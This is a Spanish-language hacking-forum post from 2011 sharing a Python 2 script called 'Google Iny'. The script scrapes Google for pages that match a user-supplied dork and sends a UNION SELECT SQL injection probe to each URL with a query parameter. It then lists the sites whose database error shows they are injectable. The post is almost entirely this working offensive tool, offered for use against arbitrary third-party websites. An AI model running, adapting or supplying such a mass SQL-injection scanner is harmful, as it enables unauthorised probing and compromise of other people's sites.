Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 7 Octubre 2011, 01:36 am



Título: [Python] Google Inyector By dODDY h
Publicado por: BigBear en 7 Octubre 2011, 01:36 am
Bueno , acabo de hacer un scanner de sqli.

Este busca en google paginas con un dork marcado por ustedes
, para despues borrar repetidos y scanear las webs encontradas



Código
  1. #!usr/bin/python
  2. #Google Iny (C) Doddy Hackman 2011
  3.  
  4.  
  5. import urllib2,re,os,sys
  6.  
  7.  
  8. def head():
  9. print "\n\n -- == Google Iny == --\n"
  10.  
  11. def copyright():
  12. print "\n(C) Doddy Hackman 2011\n"
  13. sys.exit(1)
  14.  
  15.  
  16. def toma(web) :
  17. nave = urllib2.Request(web)
  18. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  19. op = urllib2.build_opener()
  20. return op.open(nave).read()
  21.  
  22.  
  23. def show():
  24. print "\n[+] Sintax : ",sys.argv[0]," <dork> <count>\n"
  25.  
  26. def limpiar(pag):
  27.  
  28. limpia = []
  29. for p in pag:
  30.  if not (re.findall("http://www.google.com.ar",p,re.I)):
  31.   if p not in limpia:
  32.    limpia.append(p)
  33. return limpia
  34.  
  35.  
  36. def sql(webs):
  37. for web in webs :
  38.  if re.findall("=",web):
  39.   web = re.split("=",web)
  40.   web = web[0]+"="
  41.   try:
  42.    code = toma(web+"-1+union+select+1--")
  43.    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  44.     print "[SQLI] : ",web,"\n"
  45.   except:
  46.    pass
  47.  
  48. def scan(dork,count):
  49. pag = []
  50. s = 10  
  51. while s <= int(count):
  52.  try:
  53.   code = toma("http://www.google.com.ar/search?hl=&q="+str(dork)+"&start="+repr(s))
  54.   d = re.findall("(?<=\"r\"><. href=\")[^\"]+",code)
  55.   s += 10
  56.   for a in d:
  57.    pag.append(a)
  58.  except:
  59.   copyright()
  60. pag = limpiar(pag)
  61.  
  62. return pag
  63.  
  64. head()
  65.  
  66. if len(sys.argv) != 3:
  67. show()
  68. else :
  69. print "\n[+] SQL Scan Started\n"
  70. print "[+] Dork : ",sys.argv[1]
  71. print "[+] Count : ",sys.argv[2]
  72. pages = scan(sys.argv[1],sys.argv[2])
  73. print "\n[+] Webs Found : ",len(pages),"\n"
  74. sql(pages)
  75.  
  76. copyright()
  77.